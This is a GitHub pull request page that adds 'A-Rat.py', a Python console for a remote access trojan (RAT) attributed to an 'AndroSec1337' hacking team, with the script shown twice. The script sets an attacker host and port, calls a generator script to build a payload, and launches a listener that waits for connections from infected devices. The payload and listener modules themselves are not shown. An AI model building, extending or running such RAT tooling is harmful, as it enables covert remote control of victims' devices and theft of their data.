Skip to content

Jack A-Rat.py#9

Open
maniaxxx wants to merge 1 commit intoRexTheGod:masterfrom
maniaxxx:patch-2
Open

Jack A-Rat.py#9
maniaxxx wants to merge 1 commit intoRexTheGod:masterfrom
maniaxxx:patch-2

Conversation

@maniaxxx
Copy link

@maniaxxx maniaxxx commented Mar 2, 2021

#!/usr/bin/env python

-- coding: utf-8 --

import os, sys, subprocess
from time import sleep
os.system("clear")
reload(sys)
sys.setdefaultencoding("utf-8")

host = " "
port = " "
output = " "

def logo():
print("""
\t _____ ____ _____ _______
\t /$$$$$\ |$$$$\ /$$$$$\ $$$$$$$
\t |$ $| ____ |$ $| |$ $| $|
\t |$$$$$| $$$$ |$$$$/ |$$$$$| $|
\t |$ $| |$ $\ |$ $| $|
\t |$ $| |$ $\ |$ $| $|
\t [] Versions : 1.0.0
\t [
] Coded By ./Xi4u7
\t [*] AndroSec1337 Cyber Team
""")

def help():
print("""
Commands :
set HOST : Set Your Host (e.g set HOST 116.206.15.44)
set PORT : Set Your Port (e.g set PORT 1337)
set OUTPUT : Set Your Output Name And Path (e.g set OUTPUT /home/payload)
show values : Show Host, Port And Output Value
start listener : Start Your Conection Server
Please Report This bug To My FB
FB : https://m.facebook.com/lovwyne
FP : https://m.facebook.com/androsec1337cyberteam\n""")

def main():
global host, port, output

while True:
    cmd = raw_input("[*] A-Rat@AndroSec1337:~# ").lower()

    if cmd == "help":
        help()

    elif cmd == 'banner':
        os.system("clear")
        logo()
        main()

    elif "clear" in cmd:
        os.system("clear")

    elif "set host" in cmd:
        host = cmd.split()[-1]

    elif "set port" in cmd:
        port = int(cmd.split()[-1])

    elif "set output" in cmd:
        output = cmd.split()[-1]

    elif cmd == "show values":
        print "\n[+] HOST   : %s\n[+] PORT   : %s\n[+] OUTPUT : %s\n"%(host, port,output)

    elif cmd == "generate payload" or cmd == "generate":
        if host != " " and port != " " and output != " ":
            print("[+] Generating Payload . . .")
            sleep(1)
            print("[*] Using Configuration . . .\n |_ HOST   : "+host+"\n |_ PORT   : "+str(port)+"\n |_ OUTPUT : "+output)
            sleep(3)
            os.system("sh modules/gen.sh "+host+" "+str(port)+" "+output)
            print("[+] Generating Success . . .")
            sleep(1)
            main()
        else:
            print "\n[!] HOST   : %s\n[!] PORT   : %s\n[!] OUTPUT : %s\n"%(host,port,output)

    elif cmd == "start" or cmd == "run" or cmd == "start listener":
        if host != " " and port != " ":
            if os.name == "nt":
                subprocess.Popen([sys.executable, 'modules/listener.py', host, str(port)], creationflags=subprocess.CREATE_NEW_CONSOLE)
            else:
                os.system(sys.executable + " modules/listener.py %s %s"%(host, str(port)))
        else:
            print "\n[!] Host : %s\n[!] Port : %s\n"%(host,port)
    else:
        print("[!] Check Your Command . . .")
        main()

def contol():
try:
logo()
main()
except KeyboardInterrupt:
print("\n[!] CTRL+C Detect Exiting Tools . . .")
sleep(2)
sys.exit()
if name == "main":
contol()

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os, sys, subprocess
from time import sleep
os.system("clear")
reload(sys)
sys.setdefaultencoding("utf-8")

host = " "
port = " "
output = " "

def logo():
 print("""
\t  _____        ____    _____  _______
\t /$$$$$\      |$$$$\  /$$$$$\ $$$$$$$
\t |$   $| ____ |$  $|  |$   $|    $|
\t |$$$$$| $$$$ |$$$$/  |$$$$$|    $|
\t |$   $|      |$  $\  |$   $|    $|
\t |$   $|      |$   $\ |$   $|    $|
\t [*] Versions : 1.0.0
\t [*] Coded By ./Xi4u7
\t [*] AndroSec1337 Cyber Team
  """)

def help():
 print("""
  Commands :
       set HOST       : Set Your Host (e.g set HOST 127.0.0.1)
       set PORT       : Set Your Port (e.g set PORT 1337)
       set OUTPUT     : Set Your Output Name And Path (e.g set OUTPUT /home/payload)
       show values    : Show Host, Port And Output Value
       start listener : Start Your Conection Server 
  Please Report This bug To My FB
  FB : https://m.facebook.com/sefina.dewi
  FP : https://m.facebook.com/androsec1337cyberteam\n""")
       
def main():
    global host, port, output

    while True:
        cmd = raw_input("[*] A-Rat@AndroSec1337:~# ").lower()

        if cmd == "help":
            help()

        elif cmd == 'banner':
            os.system("clear")
            logo()
            main()

        elif "clear" in cmd:
            os.system("clear")

        elif "set host" in cmd:
            host = cmd.split()[-1]

        elif "set port" in cmd:
            port = int(cmd.split()[-1])

        elif "set output" in cmd:
            output = cmd.split()[-1]

        elif cmd == "show values":
            print "\n[+] HOST   : %s\n[+] PORT   : %s\n[+] OUTPUT : %s\n"%(host, port,output)

        elif cmd == "generate payload" or cmd == "generate":
            if host != " " and port != " " and output != " ":
                print("[+] Generating Payload . . .")
                sleep(1)
                print("[*] Using Configuration . . .\n |_ HOST   : "+host+"\n |_ PORT   : "+str(port)+"\n |_ OUTPUT : "+output)
                sleep(3)
                os.system("sh modules/gen.sh "+host+" "+str(port)+" "+output)
                print("[+] Generating Success . . .")
                sleep(1)
                main()
            else:
                print "\n[!] HOST   : %s\n[!] PORT   : %s\n[!] OUTPUT : %s\n"%(host,port,output)

        elif cmd == "start" or cmd == "run" or cmd == "start listener":
            if host != " " and port != " ":
                if os.name == "nt":
                    subprocess.Popen([sys.executable, 'modules/listener.py', host, str(port)], creationflags=subprocess.CREATE_NEW_CONSOLE)
                else:
                    os.system(sys.executable + " modules/listener.py %s %s"%(host, str(port)))
            else:
                print "\n[!] Host : %s\n[!] Port : %s\n"%(host,port)
        else:
            print("[!] Check Your Command . . .")
            main()

def contol():
    try:
        logo()
        main()
    except KeyboardInterrupt:
        print("\n[!] CTRL+C Detect Exiting Tools . . .")
        sleep(2)
        sys.exit()
if __name__ == "__main__":
    contol()
@maniaxxx maniaxxx marked this pull request as ready for review March 2, 2021 21:21
@maniaxxx
Copy link
Author

maniaxxx commented Mar 2, 2021

A-Rat.py

@maniaxxx maniaxxx closed this Mar 2, 2021
@maniaxxx maniaxxx reopened this Mar 2, 2021
@maniaxxx
Copy link
Author

Acesess

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant